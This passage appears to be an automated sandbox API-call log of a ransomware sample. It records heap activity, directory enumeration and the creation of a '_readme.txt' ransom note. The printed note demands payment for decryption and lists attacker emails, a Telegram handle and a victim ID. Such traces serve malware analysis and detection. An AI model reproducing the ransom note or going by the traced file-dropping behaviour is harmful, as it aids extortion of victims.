RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.616] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0112.616] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.616] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.616] PathFindFileNameW (pszPath="") returned="" [0112.616] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.617] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.617] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.617] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.617] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0112.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.617] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0112.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.617] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.617] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.617] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.617] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.618] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.618] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.618] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.618] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.618] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.619] HeapFree (in: hHeap=0x660000, 